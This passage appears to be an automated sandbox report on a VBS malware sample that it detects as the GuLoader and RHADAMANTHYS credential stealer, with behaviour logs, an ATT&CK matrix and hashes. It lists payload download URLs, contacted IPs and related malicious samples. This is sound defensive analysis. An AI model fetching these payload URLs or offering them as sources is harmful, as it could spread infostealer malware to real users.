Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000007.00000003.2571764775.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2576375337.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2666601703.0000000005685000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2585733508.0000000024FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000007.00000003.2571764775.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2576375337.0000000003520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2666601703.0000000005685000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2585733508.0000000024FD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 9_2_05949A57 socket,WSAGetLastError,SetHandleInformation,GetLastError,closesocket,bind,WSAGetLastError,

9_2_05949A57

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 BITS Jobs	111 Process Injection	1 Masquerading	21 Input Capture	121 Security Software Discovery	Remote Services	21 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	221 Scripting	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	Logon Script (Windows)	1 BITS Jobs	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
F8HYX5HOgA.vbs	46%	Virustotal		Browse
F8HYX5HOgA.vbs	42%	ReversingLabs	Script-WScript.Trojan.Malgent
F8HYX5HOgA.vbs	100%	Avira	VBS/kab.Talu.ace5b8

Source	Detection	Scanner	Label
http://www.microsoft.co/	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk:443/ms/Spej.ttf	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ice	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.bin0t	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Spej.ttf	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Spej.ttfP	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.binGu	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/Spej.ttfXR	0%	Avira URL Cloud	safe
https://www.royalengineeringllc.com/ms/ms.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
astenterprises.com.pk	107.161.23.150	true	false	high
royalengineeringllc.com	103.120.177.150	true	false	unknown
www.astenterprises.com.pk	unknown	unknown	false	high
www.royalengineeringllc.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.royalengineeringllc.com/ms/ms.bin	false	Avira URL Cloud: safe	unknown
https://www.astenterprises.com.pk/ms/Spej.ttf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.2709173693.000002315FF93000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/ms/Spej.ttfP	powershell.exe, 00000001.00000002.2709173693.000002315EFBA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000004.00000002.3339991717.000002A7978A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000004.00000003.2090170168.000002A79CD20000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/ice	svchost.exe, 00000004.00000002.3341271659.000002A79CE84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/	svchost.exe, 00000004.00000002.3341467361.000002A79CEED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341611453.000002A79CF0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	svchost.exe, 00000004.00000003.2090170168.000002A79CD93000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000005.00000002.2550855628.0000000007F10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk/ms/Spej.ttfXR	powershell.exe, 00000005.00000002.2538723366.00000000046AE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co/	powershell.exe, 00000005.00000002.2544913073.00000000070F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2541535117.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBjq	powershell.exe, 00000005.00000002.2538723366.0000000004591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.astenterprises.com.pk:443/ms/Spej.ttf	svchost.exe, 00000004.00000002.3341271659.000002A79CE84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.3341271659.000002A79CE61000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2709173693.000002315EE01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.royalengineeringllc.com/ms/ms.bin0t	wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2709173693.000002315EE01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538723366.0000000004591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.royalengineeringllc.com/ms/ms.binGu	wab.exe, 00000007.00000002.2594065641.0000000008902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
107.161.23.150	astenterprises.com.pk	United States	3842	RAMNODEUS	false
91.92.252.226	unknown	Bulgaria	34368	THEZONEBG	false
103.120.177.150	royalengineeringllc.com	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578227
Start date and time:	2024-12-19 12:46:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	F8HYX5HOgA.vbs renamed because original name is a hash value
Original Sample Name:	ace5b87a91d37f57a3288800b585268dbc4c1efde0417521f98b1fd4b86beff1.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@11/11@3/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 60% Number of executed functions: 65 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4856 because it is empty
Execution Graph export aborted for target wab.exe, PID 2780 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:47:47	API Interceptor	124x Sleep call for process: powershell.exe modified
06:47:49	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
107.161.23.150	KcKtHBkskI.ps1	Get hash	malicious	Unknown	Browse
	1M1QoJF40r.ps1	Get hash	malicious	Unknown	Browse
	8iAcoQLc3o.ps1	Get hash	malicious	Unknown	Browse
	R7FBVcp1tf.ps1	Get hash	malicious	Unknown	Browse
	2rTi9MgX25.ps1	Get hash	malicious	Unknown	Browse
	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse
	yswmdaREME.lnk	Get hash	malicious	Unknown	Browse
	0bNBLjPn56.lnk	Get hash	malicious	Unknown	Browse
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
91.92.252.226	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
103.120.177.150	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NETMAGIC-APNetmagicDatacenterMumbaiIN	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.120.177.150
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	123.108.47.170
	jew.x86.elf	Get hash	malicious	Unknown	Browse	103.227.39.94
	arm7.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	164.52.192.3
	SecuriteInfo.com.Win32.RATX-gen.3030.23832.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	205.147.111.116
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	123.108.36.64
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	103.225.99.96
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	203.112.146.8
	ATT037484_Msg#189815.html	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	164.52.219.207
	na.elf	Get hash	malicious	Gafgyt	Browse	103.214.114.30
THEZONEBG	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	91.92.252.226
	cclent.exe	Get hash	malicious	Quasar	Browse	91.92.243.191
	cobaltstrike.dll	Get hash	malicious	CobaltStrike	Browse	91.92.250.70
	sample.bin	Get hash	malicious	Okiru	Browse	91.92.246.113
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	85.217.215.190
	SecuriteInfo.com.Win32.BotX-gen.7614.10551.exe	Get hash	malicious	Unknown	Browse	91.92.242.236
	Scan_Revised-SOP_MCA_pdf.js	Get hash	malicious	WSHRAT	Browse	91.92.243.39
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	85.217.208.78
	m7DmyQOKD7.exe	Get hash	malicious	RHADAMANTHYS	Browse	91.92.255.109
	mipsel.nn.elf	Get hash	malicious	Okiru	Browse	91.92.246.113
RAMNODEUS	KcKtHBkskI.ps1	Get hash	malicious	Unknown	Browse	107.161.23.150
	1M1QoJF40r.ps1	Get hash	malicious	Unknown	Browse	107.161.23.150
	8iAcoQLc3o.ps1	Get hash	malicious	Unknown	Browse	107.161.23.150
	R7FBVcp1tf.ps1	Get hash	malicious	Unknown	Browse	107.161.23.150
	2rTi9MgX25.ps1	Get hash	malicious	Unknown	Browse	107.161.23.150
	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150
	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	yswmdaREME.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	0bNBLjPn56.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	107.161.23.150
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	107.161.23.150
	https://walli.shanga.co/image/view/?id=1375	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_16-48-43.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_16-48-43.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_23-03-27.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Doc_23-03-27.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	Recommended Itinerary.js	Get hash	malicious	Unknown	Browse	107.161.23.150
	d2W4YpqsKg.lnk	Get hash	malicious	LummaC	Browse	107.161.23.150
37f463bf4616ecd445d4a1937da06e19	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.120.177.150
	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.120.177.150
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.120.177.150
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	main.exe	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	deb.exe	Get hash	malicious	RHADAMANTHYS	Browse	103.120.177.150
	iviewers.dll	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	103.120.177.150
	script.ps1	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	103.120.177.150
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	103.120.177.150
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	103.120.177.150

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8509429890245575
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugR:gJjJGtpTq2yv1AuNZRY3diu8iBVqFM
MD5:	E102167EB77C9B660CFE03B25C821DF3
SHA1:	4241858558451CD2CD401B2E84D1734AC47ABB42
SHA-256:	F65D73AA7A76800CE2EEED3DA6B5409EAB675103C5C9287F0A5628BA557BCF94
SHA-512:	73618EB210199EC004480FC2A4479BBD22A0D28936DA6BE853D43D5417C429ABF3EC3BA6B7049EACD8E26EA6B84115373B79D250B7523FA3EEC4770CE532871C
Malicious:	false
Reputation:	low
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27df1bf6, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585668390866111
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	42EA7FADE870966F496A555AA05F170F
SHA1:	3A4E43A218CDBCB1E109F5DDE5F7F99127995428
SHA-256:	CB6B60CC6374F0E570D5F8D003E9131E8374FA34FD14B169A42E3748919D2C9A
SHA-512:	E58FC7E10DCCCFBEEB15708349F66641130DB788542D3026B0005901659500E14F9E1D4E1DE12ACDA1CC554630E710E7197971DC7134A3169F531ADC051819DA
Malicious:	false
Reputation:	low
Preview:	'...... ...............X\...;...{......................0.z..........{..1/...\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................S.1/...\|..................2t..1/...\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08123843754856074
Encrypted:	false
SSDEEP:	3:VS1KYejtZGkGuAJkhvekl1c4ZG1allrekGltll/SPj:IKzjNrxl2OJe3l
MD5:	F144A4A54BBDE44147B1F726A994A77F
SHA1:	B286EA7C3D89536990E98AE0F68643FFAB3C08BF
SHA-256:	A0F2A2BFC0FD649265EEB46CB3C08E719CD8CD61E0A014A46BD6A8DFBFD4C9C8
SHA-512:	B168839E1ED5049F85C6FB39ED6E410F1D0DCB8F444A8B85B0EB46DF8CC2255FEDD90B47C93797B9F171302205A29C675A487C59620ED66670E7A0FE5D997FD4
Malicious:	false
Preview:	..\|.....................................;...{..1/...\|.......{...............{.......{...XL......{..................2t..1/...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11914
Entropy (8bit):	4.899333871080548
Encrypted:	false
SSDEEP:	192:Zxoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9e:Srib4Z1VoGIpN6KQkj2qkjh4iUxFT6YP
MD5:	CCBF995F792F22E6407E0EDC999E526B
SHA1:	2E7FE0790FF894F3B6308588F3554831EB8F86A3
SHA-256:	7033B857924CA666154A2B1511CB0402232D32658846E3472129C6972A8ECB31
SHA-512:	6AE77CDFB10037C25654DAF74D27F00E555221FB251289A2AEE1AE9E971B76471E2DFD24B1B0CFD6F9C9C6F7C79C227C715130B40CBBC36A7CC675EC139027FB
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
